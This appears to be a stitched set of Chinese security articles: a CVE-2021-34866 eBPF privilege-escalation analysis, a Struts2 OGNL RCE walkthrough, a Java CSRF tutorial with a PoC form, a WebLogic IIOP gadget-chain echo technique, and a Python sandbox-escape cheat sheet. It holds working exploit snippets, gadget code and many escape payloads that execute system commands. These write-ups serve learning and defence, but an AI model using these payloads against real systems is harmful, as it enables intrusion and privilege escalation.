`Ringbuf`是CPU 共享缓冲区，可以用于从内核向用户空间发送数据。管理 Ringbuf 的 map 类型是`BPF_MAP_TYPE_RINGBUF`，它的数据结构是： struct bpf_ringbuf_map { struct bpf_map map; struct bpf_ringbuf *rb; }; struct bpf_ringbuf { wait_queue_head_t waitq; struct irq_work work; u64 mask; struct page **pages; int nr_pages; spinlock_t spinlock ____cacheline_aligned_in_smp; /* Consumer and producer counters are put into separate pages to allow * mapping consumer page as r/w, but restrict producer page to r/o. * This protects producer position from being modified by user-space * application and ruining in-kernel position tracking. */ unsigned long consumer_pos __aligned(PAGE_SIZE); unsigned long producer_pos __aligned(PAGE_SIZE); char data[] __aligned(PAGE_SIZE); }; # 漏洞成因 漏洞出现在`check_map_func_compatibility`函数中，这个函数主要检测的内容是调用的 helper 函数和对应的 map 类型是否匹配。可以看到这是一个双向的检查，第一个 switch 检查是检查创建的`map->map_type`是否可以调用需要的 helper 函数，第二个 switch 检查是检查调用的 helper 函数是否可以处理相应的 map 类型。 static int check_map_func_compatibility(struct bpf_verifier_env *env, struct bpf_map *map, int func_id) { if (!map) return 0; /* We need a two way check, first is from map perspective ... */ switch (map->map_type) { case BPF_MAP_TYPE_PROG_ARRAY: if (func_id != BPF_FUNC_tail_call) goto error; ...... default: break; } /* ... and second from the function itself. */ switch (func_id) { case BPF_MAP_TYPE_PROG_ARRAY: if (func_id != BPF_FUNC_tail_call) goto error; break; ...... } return 0; error: verbose(env, "cannot pass %d into func %s#%d\n", map->map_type, func_id_name(func_id), func_id); return -EINVAL; } 在第一个 switch 中，有22个 case 进行检查，但是这并未完全覆盖 map 的类型，剩余的不需要进行这一步检查的 map 类型是： BPF_MAP_TYPE_PERCPU_HASH BPF_MAP_TYPE_PERCPU_ARRAY BPF_MAP_TYPE_LPM_TRIE BPF_MAP_TYPE_STRUCT_OPS BPF_MAP_TYPE_LRU_HASH BPF_MAP_TYPE_ARRAY BPF_MAP_TYPE_LRU_PERCPU_HASH BPF_MAP_TYPE_HASH BPF_MAP_TYPE_UNSPEC 同样的，在第二个 switch 中，也并非对所有的 helper 进行了检查。 以上双向检查的缺漏，导致了此次漏洞的产生。先查看修复漏洞的 commit 。可以看到，漏洞产生的 map 类型是`BPF_MAP_TYPE_RINGBUF`，并且在第二个检查中加入了`BPF_FUNC_ringbuf_output`,`BPF_FUNC_ringbuf_reserve`,`BPF_FUNC_ringbuf_query`函数的检查。而这些函数是会对 ringbuf 进行操作的，如果定义一个非`BPF_MAP_TYPE_RINGBUF`类型的 map 类型，并调用了上面的三个函数，那么就会将非`BPF_MAP_TYPE_RINGBUF` 类型的结构体当成是`BPF_MAP_TYPE_RINGBUF`类型的结构体进行解析，从而导致了类型混淆。 @@ -5150,8 +5150,6 @@ static int check_map_func_compatibility(struct bpf_verifier_env *env, case BPF_MAP_TYPE_RINGBUF: if (func_id != BPF_FUNC_ringbuf_output && func_id != BPF_FUNC_ringbuf_reserve && - func_id != BPF_FUNC_ringbuf_submit && - func_id != BPF_FUNC_ringbuf_discard && func_id != BPF_FUNC_ringbuf_query) goto error; break; @@ -5260,6 +5258,12 @@ static int check_map_func_compatibility(struct bpf_verifier_env *env, if (map->map_type != BPF_MAP_TYPE_PERF_EVENT_ARRAY) goto error; break; +case BPF_FUNC_ringbuf_output: +case BPF_FUNC_ringbuf_reserve: +case BPF_FUNC_ringbuf_query: +if (map->map_type != BPF_MAP_TYPE_RINGBUF) +goto error; +break; case BPF_FUNC_get_stackid: if (map->map_type != BPF_MAP_TYPE_STACK_TRACE) goto error; 对该漏洞可用 `BPF_MAP_TYPE_LPM_TRIE`代替`BPF_MAP_TYPE_RINGBUF`，并调用`BPF_FUNC_ringbuf_reserve`来触发类型混淆： int vuln_mapfd = bpf_create_map(BPF_MAP_TYPE_LPM_TRIE, key_size, 0x3000, 1, BPF_F_NO_PREALLOC); ... struct bpf_insn prog[] = { BPF_LD_MAP_FD(BPF_REG_1, vuln_mapfd), ... BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve), } 接着需要绕过`__bpf_ringbuf_reserve`函数内对`bpf_ringbuf`结构体中`size`,`consumer_pos`,`producer_pos`的检查；然后通过覆盖提前通过堆喷射设计好的`bpf_array`来泄露内核基址和堆地址，通过伪造`bpf_array.map.ops`指向的`bpf_map_ops`来分别修改其中的`map_delete_elem`和`map_fd_put_ptr`指针为`fd_array_map_delete_elem`和`commit_creds`，最后调用`bpf_delete_elem()`来触发已经被修改的函数指针，调用`commit_creds(&init_cred)`，达到提权的目的。 # 修复方案 1.漏洞在 5.13.14 内核版本已修复，请及时更新。 2.设置`/proc/sys/kernel/unprivileged_bpf_disabled`为1，禁止非特权用户使用 eBPF 来进行缓解。 # 参考链接 <https://flatt.tech/cve/CVE-2021-34866/> <https://github.com/HexRabbit/CVE-writeup/tree/master/CVE-2021-34866> <https://blog.hexrabbit.io/2021/11/03/CVE-2021-34866-writeup/> <https://blog.hexrabbit.io/2021/02/07/ZDI-20-1440-writeup/#smap> <https://ebpf.io/what-is-ebpf> <https://docs.cilium.io/en/stable/bpf/> * * *
社区文章
这个分析写的我有点汗颜，强烈建议抵制struts2，改为更加可靠的SpringMVC。 背景是，Struts2默认处理multipart报文的解析器是jakarta，是这个组件出现了问题。 该组件定义在了struts-default.xml中，因此，只要不修改parser，并且版本在受影响范围内，肯定是有问题的。 令我非常疑惑的是，一个content-type怎么就能用ognl解析并执行的呢？所以下面来单步调试一下。 问题出现在org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类中的buildErrorMessage方法里： 传入了非法的Content-type之后会引发JakartaMultiPartRequest类报错，因此会来到这个方法去处理错误信息，进入findText函数： 又调用了getDefaultMessage方法，继续： 关键在这个translateVariable方法里，进入方法定义你就会发现猫腻了。。。。。 居然将错误信息当做ognl表达式执行了，当然，是提取出有效的部分，注意到$以及 %，exp上是%{.....}，实际上${....}也可以，不知道会不会绕过某些waf呢。 最终在OgnlTextParser的evaluate方法执行了命令，非常奇怪的逻辑。。。。。为什么非要解析错误信息里的ognl呢 **最后，不管是出于什么目的泄露poc都是无耻的行径！！！**
社区文章
# Java安全编码之CSRF ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 此文章为该系列的第二篇。上一篇<https://www.anquanke.com/post/id/212897> ## 简介 CSRF攻击者可以利用该漏洞诱使用户执行他们不打算执行的操作。它允许攻击者从不同网站上攻击某一网站的某一用户。使他们执行一些非预期的操作。在这里实验的是我们登陆后，通过CSRF漏洞来修改用户的手机号。 ## 框架 此次我们使用SpringBoot作为基础框架，登录框架采用shiro。这里没有具体的dao层 ## 配置说明 SpringBoot采用2.3.4.RELEASE版本，Shiro采用1.7.0版本(虽然Shiro时不时的爆出一些漏洞，但是Shiro任然是一款非常优秀的登录框架，使用起来非常的灵活与便捷)。 ## 环境搭建 结构如下 ctl为控制层，service为服务层。html文件为Thymeleaf模板，放在templates目录下面。annotation为注解包新增了两个注解AddCSRFToken和CSRFToken。aspect包为切面包。beans包下面包含用户，角色，权限三个bean。config，handler和realm包为一些shiro的配置和拦截过滤器。 ## 具体实现 1. User类 User类的具体实现如下 在这里Role分了两种角色，一个是admin一个是user。同时也定义了两种两种权限，query和add。给admin分配query和add权限，给user分配只分配了query权限。 2. shiro配置 * Realm实现 这里实现了两个doGetAuthorizationInfo，其中第一个doGetAuthorizationInfo是我们权限判断，也就是当我们使用subject.hasRole(“admin”)，[@RequiresRoles](https://github.com/RequiresRoles "@RequiresRoles")(“admin”)，<shiro:hashRole name = “admin”>等标签的时候会进入这个判断，主要是判断此用户是否有相应的角色或者权限。第二个doGetAuthorizationInfo是登录的时候进入的逻辑。进入后我们会进行一个Simple的验证。登入成功后会分配授权的sessionID。 * config配置 shiro的拦截器配置如下，这里我们吧/loginHtml设置为不需要授权访问的接口，其他都设置为需要授权访问。 * 接口设定 设定/query接口为查询手机号码，赋予权限query，/modify接口赋予权限add. * csrf测试 进入<http://maoge:8888/loginHtml> 后输入账号密码admin/123456，成功进行登录。 登陆后使用/query查看手机号为13222222222 。 我们使用burpsuite生成CSRF Poc如下：<html> <!– CSRF PoC – generated by Burp Suite Professional –> <body> <script>history.pushState(‘’, ‘’, ‘/‘)</script> <form action=”http://maoge:8888/modify” method=”POST”> <input type=”hidden” name=”phone” value=”6666666″ /> <input type=”submit” value=”Submit request” /> </form> </body> </html> 访问如下： 提交后修改成功 手机号也变为6666666 ## 修复方式① 这种方式我们通过校验referer的方式来进行判断。但是有一个弊端是并不是所有浏览器在所有情况下都会带上referer。所以这种方式只能作为辅助的验证。这种方式我们可以考虑全局加一个Interceptor。对有referer的情况全都进行判断，但是没有referer的情况下我们放行。 我们把所有的请求都都加入拦截 我们再次请求/modify接口 ## 修复方式② 对于第二种方式使用新增csrf token的方式 为了提高灵活性我们新增了两个注解[@AddCSRFToken](https://github.com/AddCSRFToken "@AddCSRFToken") 新增token 和[@CSRFToken](https://github.com/CSRFToken "@CSRFToken")校验token。使用注解也大大的提高了开发的便利性。 实现的效果如下，当使用： [@AddCSRFToken](https://github.com/AddCSRFToken "@AddCSRFToken") 注解的实现 这里我们使用线程安全的concurrentHashMap来存储csrfToken,当然也可以使用redis等来进行存储。使用sessionID来作为key，value为一个List。当一个页面出现在多个tab的时候会出现多个csrfToken，这个时候我们使用List存储。[@AddCSRFToken](https://github.com/AddCSRFToken "@AddCSRFToken") 对每个页面添加一个csrfToken的属性，这个token的随机值使用的是owasp里面的生成随机值得方法。 [@CSRFToken](https://github.com/CSRFToken "@CSRFToken") 注解的实现 先校验接口是是否有csrfToken参数如果有的话就校验，如果此sessionID中存在于concurrentHashMap那么进行判断。否者抛出异常，如果csrfToken为空了，我们可以移除此项。当然当我们sessionID失效的时候，我们也可以全局的移除掉key为此sessionID的项。 CSRFToken也可以放在头部，不过放在自定义头部在请求的时候会发起OPTIONS请求，在后面的CORS章节中会对此进行讨论。 ## 后记 当然实现的方式有很多种，开发可以按照自己的方式和思路来进行实现。我们可以使用referer和token的方式做双重校验。当使用json的方式提交数据也会存在CSRF的漏洞，不过大多数依赖于flash，可利用性大大降低。
社区文章
**0x01 前言** 首先要理解该漏洞的话，先要知道几点， 1、什么是IIOP协议 2、什么是RMI协议 3、这两个协议之间有什么区别 这几点可自行搜索查看，在先知中也有不少例子。 **0x02 回显分析** 在我这个菜鸡理解的IIOP和RMI协议区别是没什么区别反正都是远程调用对象，所以就用RMI写了个远程执行命令的HelloWord来做了个实验。 编写RMI过程步骤 1、一个必须继承Remote的接口并且抛出RemoteException异常 2、引用并实现该接口 3、服务端开启远程调用并且实现绑定该接口 4、客户端直接远程调用该接口 5、最后执行效果 可以看到通过手动写的RMI调用的例子上是可以实现RMI回显的,既然RMI和IIOP都一样那么在IIOP中是否也能通过这种方式回显呢，要在Weblogic中实现此方法回显，也要跟RMI一样要一个符合要求的接口，要一个实现该接口的恶意类，然后进行绑定，因为在weblogic中7001端口是多中协议包括IIOP，所以就不行开启远程端口，只需要绑定上即可。 那么第一步开始查找weblogic中查找可以远程调用的接口 最终在weblogic发现了完美符合要求的一个类 第二不引用并且实现该类，在经过查找后并没有发现可以实现该类的方法，想了想在weblogic一些版本中是存在CommonsCollections3.1的这个版本中是存在可利用的反序列化gadget的，想了一下可以通过写一个实现实现该类的方法写入到服务器本地然后绑定该类实现调用，在默认ysoserial中是没有写文件的gedget的所以就要修改一个如： Transformer[] transformers = {new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor" , new Class[]{Class[].class} , new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance" , new Class[]{Object[].class} , new Object[]{new Object[]{path}}), //绝对路径 new InvokerTransformer("write" , new Class[]{byte[].class} , new Object[]{classBytes})}; //写入class类的bytes 通过此方法写入进去了实现远程调用接口的类，接下来就是绑定，但是已有的poc中直接绑定肯定是不行的 Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, object), Remote.class); initialContext.rebind("testets",remote); 在与之前Hello对比 Hello h=(Hello) UnicastRemoteObject.exportObject(hello,1099); registry.bind("Hello",h); 明显是不同的没有办法直接绑定写入那个实现接口的那个恶意类，后来想了一个思路就是通过在恶意类里直接写一个绑定的方法，然后通过利用CommonsCollections3的gadget改成执行那个恶意类里的方法来绑定实现 Transformer[] transformers = { new ConstantTransformer(java.net.URLClassLoader.class) , new InvokerTransformer("getConstructor" , new Class[]{Class[].class} , new Object[]{new Class[]{URL[].class}}) , new InvokerTransformer("newInstance" , new Class[]{Object[].class} , new Object[]{new Object[]{new URL[]{new URL(ClassPath)}}})//加载绝对路径的class , new InvokerTransformer("loadClass" , new Class[]{String.class} , new Object[]{className}) //加载该类的名称 , new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class} , new Object[]{method, new Class[]{String.class}}) //反射执行该类的方法 , new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, new String[]{""}})}; //要执行的参数 至于如何在本类绑定调用可以用 Context ctx = new InitialContext();这个方式来实现绑定，最后绑定成功后实现回显的话就跟Hello中例子一样 ClusterMasterRemote clusterMasterRemote=(ClusterMasterRemote)initialContext.lookup("tttt"); 先来捋一捋步骤 编写实现 1、写一个实现可实现ClusterMasterRemote接口的类 2、编写实现接口类的绑定方法，并且把命令执行的方法写入 3、把该类通过修改过的gadget利用链通过IIOP漏洞写入到服务器 4、通过修改过的gadget执行写入类的绑定方法 5、执行回显。 最后放一个执行的过程， 写入类 执行类 执行回显 **0x03 参考** <https://github.com/5up3rc/weblogic_cmd>
社区文章
# python的沙箱逃逸 ## 前言 就上次学习mako留下来的疑问，py的沙箱逃逸的学习，这篇记录一下python沙箱逃逸的学习吸收一下Tr0y佬的博客加上一些自己的理解，我的理解的python的沙箱逃逸说白了就是花式过滤绕过，吸收一些大佬的总结，积累一些ctf赛题中的新颖的逃逸方法，这块大概就可以吃透了 ## 命令执行 ### import过滤bypass 最无脑的过滤就是import os import os import os import os 。。。。 过滤了多个空格后，我们知道py中可不止一个`import`可以引用的 还有一下的方法 __import__：__import__('os') importlib：importlib.import_module('os').system('ls') 或者根据import的原理:执行导入 库.py中的代码 可以用 `execfile` 来代替，不过这个方法是python2中特有的 execfile('/usr/lib/python2.7/os.py')#引用库的路径 system('ls') python3和2通用的方法 with open('/usr/lib/python3.6/os.py','r') as f: exec(f.read()) system('ls') 对于这个库的路径，绝大多数情况下都是存在于默认路劲下的，最好还是再确认一下 import sys print(sys.path) 如果sys被搬了就寄了 ### 字符串过滤bypass 代码中要是出现 `os`，直接不让运行。那么可以利用字符串的各种变化来引入 os： __import__('so'[::-1]).system('ls') 或者 b = 'o' a = 's' __import__(a+b).system('ls') 利用eval或者exec，结合字符串倒序 eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) 字符串的处理我们在flask中也说到了，那些逆序、拼接、base64、hex、rot13...等等， ['__builtins__'] ['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'] [u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'] ['X19idWlsdGluc19f'.decode('base64')] ['__buil'+'tins__'] ['__buil''tins__'] ['__buil'.__add__('tins__')] ["_builtins_".join("__")] ['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]#最后这个第一次见，如果没有变态到过滤字母和数字就无敌的了 ... ### 恢复`sys.modules` `sys.modules`是一个字典，它里面储存了加载过的模板信息。当python刚启动时，所列出的模板就是解释器在启动的时候自动加载的模板。像`os`模块就是默认加载进来的，所以`sys.modules`就会储存`os`模板的信息。当我们不能直接引用`os`模块的时候我们就可以像这样`sys.modules["os"]`曲线救国。 但是如果将 `os`从`sys.modules` 中代替，`os`就彻底没法用了： >>> sys.modules['os'] = 'not allowed' >>> import os >>> os.system('ls') Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: 'str' object has no attribute 'system' >>> 但是就防范而言，这里绝对不能是删除`sys.modules["os"]` 当 import 一个模块时：import A，检查 sys.modules 中是否已经有 A，如果有则不加载，如果没有则为 A 创建 module 对象，并加载 A。 所以删了 `sys.modules['os']` 只会让 Python 重新加载一次 os。 所以说绕过方法就是 sys.modules['os'] = 'not allowed' # oj 为你加的 del sys.modules['os'] import os os.system('ls') ### 执行函数bypass 单单引入os模块是不行的，我们还要考虑os里面的system被ban了，我们也不能通过`os.system`来执行命令，更狠的就是删除了system这个函数，我们可以寻找其他进行命令执行的函数 像popen print(os.popen('whoami').read()) print(os.popen2('whoami').read()) # py2 print(os.popen3('whoami').read()) # py2 .。。。。。 其次，可以通过 `getattr` 拿到对象的方法、属性： import os getattr(os, 'metsys'[::-1])('whoami') 不让出现 import 也没事： getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami') 一样可以。这个方法同样可以用于逃逸过滤 import 的沙箱。关于 `__builtins__`，见下文。 与 `getattr` 相似的还有 `__getattr__`、`__getattribute__`，它们自己的区别就是`getattr`相当于`class.attr`，都是获取类属性/方法的一种方式，在获取的时候会触发`__getattribute__`，如果`__getattribute__`找不到，则触发`__getattr__`，还找不到则报错。 ### builtins、`__builtin__`与`__builtins__` python中有的函数不需要import就可以使用，这就是python的内建模块，它有一些常用函数，变量，以及类。 在 2.x 版本中，内建模块被命名为 `__builtin__`，到了 3.x 就成了 `builtins`。它们都需要 import 才能查看： py2 import __builtin__ __builtin__ #<module '__builtin__' (built-in)> py3 import builtins builtins #<module 'builtins' (built-in)> 而`__builtins__`是两者都有的，不需要导入 ,`__builtins__`实际上是前两者的引用，或者说是结合，不过还是有区别的 `__builtins__` 相对实用一点，并且在 `__builtins__`里有很多好东西： >>> '__import__' in dir(__builtins__) True >>> __builtins__.__dict__['__import__']('os').system('whoami') macr0phag3 0 >>> 'eval' in dir(__builtins__) True >>> 'execfile' in dir(__builtins__) True `x.__dict__` ：它是 x 内部所有属性名和属性值组成的字典，有以下特点： 1. 内置的数据类型没有 `__dict__` 属性 2. 每个类有自己的 `__dict__` 属性，就算存着继承关系，父类的 `__dict__` 并不会影响子类的 `__dict__` 3. 对象也有自己的 `__dict__` 属性，包含 `self.xxx` 这种实例属性 当赛题中`__builtins__`的危险函数，被代替或者删除 __builtins__.__dict__['eval'] = 'not allowed' del __builtins__.__dict__['eval'] 我们可以利用reload(`__builtins__`)进行恢复，但是reload也是在`__builtins__`， reload被删除了就可以用另一种方法，还有一种情况是利用 `exec command in _global` 动态运行语句时的绕过，比如实现一个计算器的时候，在最后有给出例子。 这里注意，2.x 的 `reload` 是内建的，3.x 需要 `import imp`，然后再 `imp.reload`。你看，reload 的参数是 `module`，所以肯定还能用于重新载入其他模块，这个放在下面说。 ### 通过继承关系逃逸 具体可以参考jiajn2的ssti，具体思路是大相径庭的，也是通过一系列的子类继承，找到我们想要的子类，进行命令执行，甚至绕过方法都可以参考jiajn2的ssti 这里也只是记录一些之前没有提到过的 **思路：** 我们可以找到一些某个库中包含的os这个模板，我们就不用直接对os进行使用，列入site这个库里面就有os import site >>> site.os #<module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'> 那么也就是说，能引入 site 的话，就相当于有 os。那如果 site 也被禁用了呢？没事，本来也就没打算直接 `import site`。可以利用 `reload`，变相加载 `os`： >>> import site >>> os Traceback (most recent call last): File "<stdin>", line 1, in <module> NameError: name 'os' is not defined >>> os = reload(site.os) >>> os.system('whoami') macr0phag3 还有，既然所有的类都继承的`object`，那么我们先用`__subclasses__`看看它的子类，以 2.x 为例： >>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i 一大堆子类 可以看到，site 就在里面，以 2.x 的`site._Printer`为例（py3.x 中已经移除了这里 `__globals__` 的 `os`）： >>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os'] <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'> >>> # 为了避免 index 位置问题，可以这样写： >>> [i._Printer__setup.__globals__['os'] for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_Printer"] <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'> PROLOG os 又回来了。并且 site 中还有 `__builtins__`。 这个方法不仅限于 A->os，还阔以是 A->B->os，比如 2.x 中的 `warnings`： >>> import warnings >>> >>> warnings.os Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: 'module' object has no attribute 'os' >>> >>> warnings.linecache <module 'linecache' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/linecache.pyc'> >>> >>> warnings.linecache.os <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'> 在继承链中就可以这样（py3.x 中已经移除了这里 `__globals__` 的 `linecache`）： >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami') macr0phag3 0 >>> # 为了避免 index 位置问题，可以这样写： >>> [i.__init__.__globals__['linecache'].__dict__['os'].system('whoami') for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "catch_warnings"] ps：这种构造方法值得学，这样就不用跑脚本确认子类位置了 所以通过`_module`也可以构造 payload（py3.x 中已经移除了 `catch_warnings` 的 `linecache`）： >>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami') 3.x 中的`warnings`虽然没有 `linecache`，也有`__builtins__`。 **`__call__`方法：** 具体来说是利用`builtin_function_or_method` 的 `__call__` "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1') **利用异常逃逸** hack = lambda : [0][1] try: hack() except Exception as e: e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']['__import__']('os').system('whoami') **利用format** "{0.__class__.__base__}".format([]) "{x.__class__.__base__}".format(x=[]) "{.__class__.__base__}".format([]) ("{0.__class_"+"_.__base__}").format([]) 注意：对于字典键是整数型的比如 `{"1":2}`，format 是无法拿到值的，这样会报错：`''' {0['1']} '''.format({"1":2})`，`'1'` 引号去掉的话又会报没有这个键。 ## 文件读写 在python2中有一个内建file >>> file('key').read() 'Macr0phag3\n' >>> file('key', 'w').write('Macr0phag3') >>> file('key').read() 'Macr0phag3' 还有一一个open，py2，3通用 还有一些库，例如：`types.FileType`(rw)、`platform.popen`(rw)、`linecache.getlines`(r)。 如果我们可以读写一些网站存在py的文件，然后在import，就可以进行执行 假设有一个叫math.py的文件，我们将内容写入就成了 import os print(os.system('whoami')) 调用之后可以使用 >>> import math ikun 这里需要注意的是，这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在`sys.modules`中有的，这些库无法这样利用，会直接从`sys.modules`中加入，比如`re`： >>> 're' in sys.modules True >>> 'math' in sys.modules False >>> 当然在`import re` 之前`del sys.modules['re']`也不是不可以.. 最后，这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样：由于待测试的库中有个叫 `test`的，如果把遍历测试的文件也命名为 test，会导致那个文件运行 2 次，因为自己 import 了自己。 读文件暂时没什么发现特别的地方。 剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了，比如： >>> __builtins__.open('key').read() 'Macr0phag3\n' >>> ().__class__.__base__.__subclasses__()[40]('key').read() 'Macr0phag3' ## 字符的过滤、 ### 1，[] 和ssti通用 ### 2，引号 1，chr ssti说过了 2，str`和`[]结合 ().__class__.__new__ #<built-in method __new__ of type object at 0x00007FFD8EFA8AB0> str() 函数将对象转化为适于人阅读的形式 所以 str(().__class__.__new__)[21] #w os.system( str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3] ) #os.system(whoiam) 3,dict() 拿键 list(dict(whoami=1))[0] str(dict(whoami=1))[2:8] 'whoami' ### 3,数字 上面提到了字符串过滤绕过，顺便说一下，如果是过滤了数字（虽然这种情况很少见），那绕过的方式就更多了，我这里随便列下： 1. 0：`int(bool([]))`、`Flase`、`len([])`、`any(())` 2. 1：`int(bool([""]))`、`True`、`all(())`、`int(list(list(dict(a၁=())).pop()).pop())` 3. 获取稍微大的数字：`len(str({}.keys))`，不过需要慢慢找长度符合的字符串 4. 1.0：`float(True)` 5. -1：`~0` 6. ... 其实有了 `0` 就可以了，要啥整数直接做运算即可： 0 ** 0 == 1 1 + 1 == 2 2 + 1 == 3 2 ** 2 == 4 ... ### 4，空格 通过 `()`、`[]` 替换 ### 5，运算符 `==` 可以用 `in` 来替换 or 可以用| + -。。。-来替换 例如 for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: ans = i[0]==i[1] or i[2]==i[3] print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans) print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans) print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans) and 可以用& *替代 例如 for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: ans = i[0]==i[1] and i[2]==i[3] print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans) print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans) ### 6，（） * 利用装饰器 `@` * 利用魔术方法，例如 `enum.EnumMeta.__getitem__`， ## 沙箱通解---进阶技巧的学习 ### 前言 学习完了Tr0y师傅的py沙箱逃逸，又看了师傅的《Python 沙箱逃逸的通解探索之路》，感觉茅塞顿开，迫不及待来记录一下，不得不说看大佬的博客学到了太多太多东西了，下面我就跟着大佬的思路走走一遍，同时加上自己的理解 #### 开始探索 ##### 探索1 我们先从一段例题开始 题目大意如下 all( black_char not in CMD for blackl_char in ( list("'\".,+") + [ "__", "exec", "str" , "import" ] ) ) True eval(CMD) #这里构造了一个CMD，python接受这个CMD，在all这个函数里面，对CMD进行检测是否含有 '\".,+这些符号，以及__, exec, str , import这些关键字，若是没有就返回True，返回True才会执行eval(CMD) 这里多插一句，我们不仅仅是要学习某种方法，更要学习的是如何通过某些过滤或者特征想的这个方法的思路。往往这种思路恰恰是关键性的 思路： * 从执行上下文看，我们要构造出的 `CMD` 显然是一个字符串，因为下面会进行 `eval`。那么这里就有第一个问题：如何构造出任意字符串？。 * 因为上面的限制条件把 `"`、`'` 都干掉了，所以直觉上我们会选择用 `chr` \+ `+` 来拼接出字符串，但是 `+` 也被干掉了。 * 而由于 `,` 也被干掉了，所以虽然能调用函数，但是也只能传一个参数。并且 `.` 也被限制掉了，所以就算可以 `__import__` 也没法调用方法 使用bytes()函数 bytes 函数返回一个新的 bytes 对象，该对象是一个 0 <= x < 256 区间内的整数不可变序列。它是 bytearray 的不可变版本。 姑且不对这个函数深挖，我们执行要知道 a=bytes(range(256)) print(a) >>> b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' a=bytes([0,1,2]) print(a) >>> b'\x00\x01\x02' 根据这个原理我们就可以通过bytes([119, 104, 111, 97, 109, 105])这样的序列构造出whoami,但是，上面已经把逗号过滤了，所以就要用到了range（），但是range都是固定序列，并不能定向的得到我们想要的数字，可我们以通过 `if` 来从列表中捞需要的数据。 bytes([j for i in range(256) for j in range(256) if i==0 and j == 119 or i == 1 and j == 104 or i == 2 and j == 111or i == 3 and j == 97 or i == 4 and j == 109 or i == 5 and j == 105]) 脚本 exp = '__import__("os").system("id")' print(f"eval(bytes([j for i in range({len(exp)}) for j in range(256) if "+" or ".join([f"i=={i} and j=={ord(j)}" for i, j in enumerate(exp)]) + "]))") 过滤空格 用[]替代 exp = '__import__("os").system("id")' print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)]) + "]]))") 过滤==用in替代 exp = '__import__("os").system("id")' print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)]) + "]]))") ##### 探索2 对于上面的解法一，我们对于一些函数可以用unicode编码进行绕过，但是if没有办法使用unicode绕过，这路探索主要是探讨if被ban的情况下 